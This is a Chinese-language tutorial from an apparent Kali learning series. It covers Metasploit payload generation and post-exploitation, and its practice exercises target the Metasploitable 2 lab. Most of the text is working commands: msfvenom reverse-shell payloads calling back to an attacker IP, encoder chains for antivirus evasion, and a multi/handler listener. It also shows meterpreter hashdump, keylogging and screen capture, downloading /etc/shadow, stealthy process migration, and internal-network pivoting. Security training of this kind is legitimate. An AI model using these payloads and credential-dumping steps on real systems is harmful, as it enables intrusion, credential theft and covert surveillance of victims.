📚 网络安全 Kali 学习系列
模块 0 基础阶段 ✅ 已完成
01-18 Linux → 网络 → 密码学 → 编程 → Docker
模块 1 信息收集 ✅ 已完成 | 模块 2 Web渗透 ✅ 已完成
19-31 扫描 → 漏洞 → sqlmap → XSS → WAF绕过
模块 3 代码审计 ✅ 已完成
32-37 审计入门 → Node.js → PHP → Java → Python → CVE复现
模块 4 漏洞利用与后渗透(进行中)
38 Metasploit Framework 入门 ✓
39 Payload 生成与会话管理 ✓(本篇)
40 Linux提权 | 41 Windows提权 | 42 权限维持 | 43 免杀基础
Payload 生成与会话管理
网络安全 Kali 学习系列 · 第 39 篇 · 模块 4 漏洞利用与后渗透
读完本篇你将能:使用 msfvenom 生成多种格式的 payload 并配置对应的监听器,理解 staged 与 stageless payload 的差异,掌握编码器组合策略,熟练操作 meterpreter 的文件管理、进程迁移、端口转发等后渗透功能,在 Metasploitable 2 上完成从 payload 投递到后渗透的完整链路。
上一篇搭建了 MSF 基础框架并走通了 exploit 的标准流程。本篇聚焦 payload 这一层——从 msfvenom 的高级参数到 meterpreter 的深度操作,把"拿到一个 shell"升级为"在目标上自由行动"。payload 是连接漏洞利用和后渗透的桥梁,掌握它意味着你不再依赖一次性 exploit,而是能灵活组合攻击载荷适应不同场景。
目录
第一章 msfvenom 深度解析:参数与格式
第二章 Staged 与 Stageless Payload
第三章 编码器组合与免杀策略
第四章 监听器配置:multi/handler
第五章 Meterpreter 后渗透操作详解
第六章 进程迁移与内网路由转发
第七章 分级练习
第一章 msfvenom 深度解析:参数与格式
上一篇展示了 msfvenom 的基本用法(-p 指定 payload、-f 指定格式)。本篇深入每个参数的细节,让你能精确控制生成载荷的形态和行为。
1.1 核心参数详解
1-p PAYLOAD:指定 payload 类型,如 windows/meterpreter/reverse_tcp。使用 msfvenom -l payloads 列出所有可用 payload
2-f FORMAT:输出格式。elf(Linux ELF)、exe(Windows PE)、raw(原始字节)、python(.py 脚本)、powershell(PS1 脚本)、hta-psh(HTML Application)、c(C 语言数组)、vbs(VBScript)
3-e ENCODER:指定编码器,如 x86/shikata_ga_nai。使用 msfvenom -l encoders 列出全部
4-i COUNT:编码迭代次数。多次编码可降低特征匹配率,但每次编码都增加 payload 体积
5-b '\x00\x0a':坏字符排除。某些漏洞利用场景中 payload 不能包含特定字节(如空字节 \x00 或换行 \x0a),编码器会自动避开这些字节
1.2 多格式生成实战
Shell · 多格式 Payload 生成
generate.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
# Windows EXE(最常见)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f exe -o shell.exe
# PowerShell 脚本(内联执行,不落地文件)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f powershell -o shell.ps1
# Python 脚本(跨平台,需目标有 Python)
msfvenom -p python/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f raw -o shell.py
# C 语言数组(嵌入自有漏洞利用代码)
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 -f c -o shellcode.c
|
选择格式时考虑目标环境:Windows 用 exe 或 powershell;Linux 用 elf 或 raw;需要内联执行(不落地文件)选 powershell 或 python;需要嵌入自定义 exploit 代码选 c 数组格式。HTA-PSH 格式特别适合钓鱼场景——它伪装成 HTML 应用,双击即执行 PowerShell 载荷。
第二章 Staged 与 Stageless Payload
Payload 的传输方式分两种:Staged(分阶段)和 Stageless(单阶段)。理解差异对实际渗透至关重要——选错类型可能导致载荷无法执行或被防御设备拦截。
2.1 两种模式对比
1Staged(如 reverse_tcp):第一阶段发送 stager(约 300-500 字节),建立连接后服务器再发送完整的 stage(meterpreter 主载荷,约 200KB)。优点:初始载荷极小,适合空间受限的漏洞利用。缺点:需要额外网络回连获取 stage,流量更易被 IDS 检测
2Stageless(如 reverse_tcp_rc4):一次性注入完整载荷,无需二次回连。优点:减少网络交互,更隐蔽。缺点:载荷体积大(200KB+),在空间受限的漏洞中可能无法使用
3命名规则:带 _rc4 后缀的通常是 stageless(RC4 加密传输),不带的是 staged。也可用 msfvenom -p 时加 --payload-options 查看
Shell · Staged vs Stageless 对比
compare.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
|
# Staged:先发 stager,再下载 stage
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 -f exe -o staged.exe
# Stageless:一次性注入完整载荷
msfvenom -p windows/meterpreter_reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 -f exe -o stageless.exe
# 对比文件大小(stageless 明显更大)
ls -lh staged.exe stageless.exe
# 注意:meterpreter_reverse_tcp(无斜杠)= stageless
# meterpreter/reverse_tcp(有斜杠)= staged
|
💡 小贴士
命名规则是初学者最常踩坑的地方:meterpreter/reverse_tcp(中间有斜杠)是 staged,meterpreter_reverse_tcp(用下划线连接)是 stageless。一个斜杠之差,传输行为完全不同。记忆方法:斜杠分隔 = 分阶段传输,下划线连接 = 一体化载荷。
第三章 编码器组合与免杀策略
编码器的核心作用是变换 payload 字节序列使其不匹配杀软的特征码。注意:编码不是加密——没有密钥,只要杀软更新特征库仍可检测。编码的价值在于绕过过时的特征库和避免坏字符。
3.1 常用编码器
•x86/shikata_ga_nai:最常用的多态编码器,每次生成的编码都不同(基于随机密钥)。适合 x86 架构,可多次迭代
•x64/xor_dynamic:x64 架构的 XOR 编码器,体积小速度快
•cmd/powershell_base64:将 payload 编码为 PowerShell Base64 命令,适合内联执行
•php/base64:PHP 专属编码器,生成 Base64 包裹的 PHP payload
3.2 编码器组合策略
Shell · 编码器组合与迭代
encode.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# 单次编码(基础免杀)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-e x86/shikata_ga_nai -i 1 -f exe -o enc1.exe
# 多次迭代(增加特征变换层数)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 -f exe -o enc5.exe
# 排除坏字符 + 编码
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-b '\x00\x0a\x0d' -e x86/shikata_ga_nai -f exe -o nbad.exe
|
迭代次数越多 payload 体积越大,但不一定免杀效果更好——现代杀软使用行为分析和沙箱检测,而非纯特征匹配。编码器组合的真正价值在于排除坏字符(-b 参数)和适配不同执行环境。真正的免杀需要自定义 shellcode 混淆和加密框架,这是第 43 篇的主题。
第四章 监听器配置:multi/handler
生成的 payload 需要一个监听器接收回连。MSF 的 exploit/multi/handler 是通用监听模块,能接收所有类型的 reverse payload。
4.1 配置监听器
Shell · multi/handler 监听器
listener.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
# 启动 MSF 控制台
msfconsole -q
# 使用通用监听模块
msf6 > use exploit/multi/handler
# 设置 payload(必须与生成的 payload 一致)
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
# 设置监听地址和端口
msf6 > set LHOST 192.168.1.100
msf6 > set LPORT 4444
# 后台运行监听器(不占用当前终端)
msf6 > set ExitOnSession false
# 启动监听
msf6 > exploit -j
|
关键点:ExitOnSession false 让监听器在收到一个会话后继续运行(默认收到一个就退出),-j 表示作为后台任务运行。监听器的 PAYLOAD 必须与 msfvenom 生成时使用的完全一致——包括 staged/stageless 类型。如果生成的是 meterpreter_reverse_tcp(stageless),监听器也必须设为同名。
⚠️ 常见错误
payload 执行后监听器没有收到回连
排查步骤:① 确认 LHOST 是攻击者的可达 IP(不能用 127.0.0.1);② 确认监听器的 PAYLOAD 与 msfvenom 的 -p 参数完全一致;③ 检查防火墙是否放行 LPORT;④ 用 netstat -tlnp | grep 4444 确认监听端口已开启。
第五章 Meterpreter 后渗透操作详解
Meterpreter 是 MSF 的核心后渗透工具——运行在目标内存中,不落地磁盘文件,提供文件操作、系统信息收集、密码提取、屏幕控制等 50+ 个命令。本节聚焦最常用的操作分类。
5.1 文件与目录操作
Meterpreter · 文件操作命令
file_ops.txt
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# 浏览目录
ls # 列出当前目录
cd /etc # 切换目录
# 下载文件到攻击机
download /etc/passwd # 下载单个文件
download -r /var/log # 递归下载整个目录
# 上传文件到目标
upload ./linpeas.sh /tmp/# 上传提权枚举脚本
# 编辑文件
edit /etc/hosts # 用 nano/vim 编辑文件
# 搜索文件
search -f *.conf # 搜索配置文件
|
5.2 系统信息与密码提取
Meterpreter · 系统信息与密码提取
sysinfo.txt
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
# 系统基本信息
sysinfo # OS 版本、架构、主机名
getuid # 当前用户身份
# 网络信息
ifconfig # 网络接口和 IP
route # 路由表
# 密码提取(Windows 需要 SYSTEM 权限)
hashdump # 导出 LM/NTLM 哈希
# 屏幕操作
screenshot # 截取目标屏幕
screenshare # 实时观看目标屏幕
keyscan_start # 开始键盘记录
|
hashdump 导出的 NTLM 哈希可以用 john 或 hashcat 离线破解,也可以直接用于 Pass-the-Hash 攻击(不需要还原明文密码)。下一篇 Linux 提权会详细讲解 /etc/shadow 的哈希提取和破解。
第六章 进程迁移与内网路由转发
6.1 进程迁移
Payload 执行时通常注入到一个临时进程(如临时 rundll32 或独立可执行文件),这个进程一旦被关闭,meterpreter 会话就会断开。进程迁移(migrate)将 meterpreter 从临时进程转移到稳定进程(如 explorer.exe 或 svchost.exe),提高持久性和隐蔽性。
Meterpreter · 进程迁移操作
migrate.txt
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# 查看目标进程列表
ps # 列出所有进程
# 找到 explorer.exe 的 PID
# 通常 PID 为 1234(示例)
# 按 PID 迁移
migrate 1234 # 迁移到 explorer.exe
# 按进程名迁移(更方便)
migrate -N explorer.exe # 自动查找并迁移
# 自动迁移(MSF 自动选稳定进程)
migrate -f # 自动迁移到稳定进程
|
6.2 端口转发与内网路由
当目标机器可以访问内网中其他不可达的主机时,meterpreter 的 portfwd 和 route 命令可以把目标变成跳板,实现内网穿透。
Meterpreter · 端口转发与路由
pivot.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
# 端口转发:本地 8080 → 内网 10.0.0.5:80
portfwd add -l 8080 -r 10.0.0.5 -p 80
# 访问本地 8080 即可访问内网 Web
curl http://127.0.0.1:8080
# 反向端口转发:把本地端口暴露到目标
portfwd add -R -l 9090 -p 4444
# 添加内网路由(在 MSF 控制台中执行)
run autoroute -s 10.0.0.0/24
# 查看已有路由
route
# 通过路由扫描内网(SOCKS 代理)
use auxiliary/server/socks4a & run
|
portfwd 是会话级别的端口转发(当前 meterpreter 会话有效),autoroute 是 MSF 框架级别的路由(所有模块共享)。配合 SOCKS4 代理,可以让 Kali 上的 nmap、curl 等工具通过目标机器代理访问内网——这就是"横向移动"的基础。
第七章 分级练习
🟢 基础练习:多格式 payload 生成与监听
练习 1:完整 payload 生成到接收
任务:生成一个 Linux reverse_tcp payload,在 Metasploitable 2 上执行,通过 multi/handler 接收会话。
① 用 msfvenom 生成 linux/x64/meterpreter/reverse_tcp 格式为 elf
② 配置 exploit/multi/handler 监听
③ 将 payload 上传到 Metasploitable 2 并执行
④ 获取 meterpreter 会话后执行 sysinfo 和 getuid
验证标准:成功获取 meterpreter 会话并看到目标系统信息。
🟡 进阶练习:进程迁移与文件操作
练习 2:meterpreter 后渗透操作
任务:在练习 1 获取的 meterpreter 会话上执行后渗透操作。
步骤:
1. 用 ps 查看进程列表,找到 init 或 sshd 的 PID
2. 用 migrate 迁移到该进程
3. 用 download 下载 /etc/passwd 和 /etc/shadow
4. 用 upload 上传一个测试文件到 /tmp/
5. 用 portfwd 转发内网端口
思考:迁移到不同进程后,权限会变化吗?为什么迁移到 SYSTEM 进程(Windows)或 root 进程(Linux)能获得更高权限?
🔴 高级练习:编码器对比与 stageless 切换
练习 3:编码器效果对比分析
任务:对比不同编码器和迭代次数对 payload 体积和检测率的影响。
步骤:
① 生成 5 个 Windows payload:无编码、shikata_ga_nai 迭代 1/3/5 次、x64/xor_dynamic
② 用 ls -lh 对比文件大小
③ 用 md5sum 记录哈希,对比每次生成是否相同
④ 生成 staged 和 stageless 版本,对比文件大小差异
⑤ 尝试用 -b '\x00\x0a' 排除坏字符,观察编码器如何调整
验证标准:记录 5 个 payload 的文件大小和 MD5,分析编码迭代次数与体积的关系,总结 staged vs stageless 的体积差异百分比。
知识回顾
msfvenom 参数
多格式生成
staged vs stageless
编码器组合
坏字符排除
multi/handler
meterpreter 文件操作
进程迁移
端口转发
autoroute
hashdump
内网穿透
下一篇预告
📚 网络安全 Kali 学习系列 · 第 40 篇
Linux 权限提升技术
从 SUID 提权到内核漏洞利用,系统讲解 Linux 提权的枚举路径与利用方法。涵盖 LinPEAS 信息收集、SUID/SGID 滥用、sudo 配置利用、cron 任务提权、内核 exploit(Dirty COW 等)以及 capabilities 提权。
网络安全 Kali 学习系列 · 模块 4 漏洞利用与后渗透 · 第 39 篇
学安全,为守护 · 用安全,为建设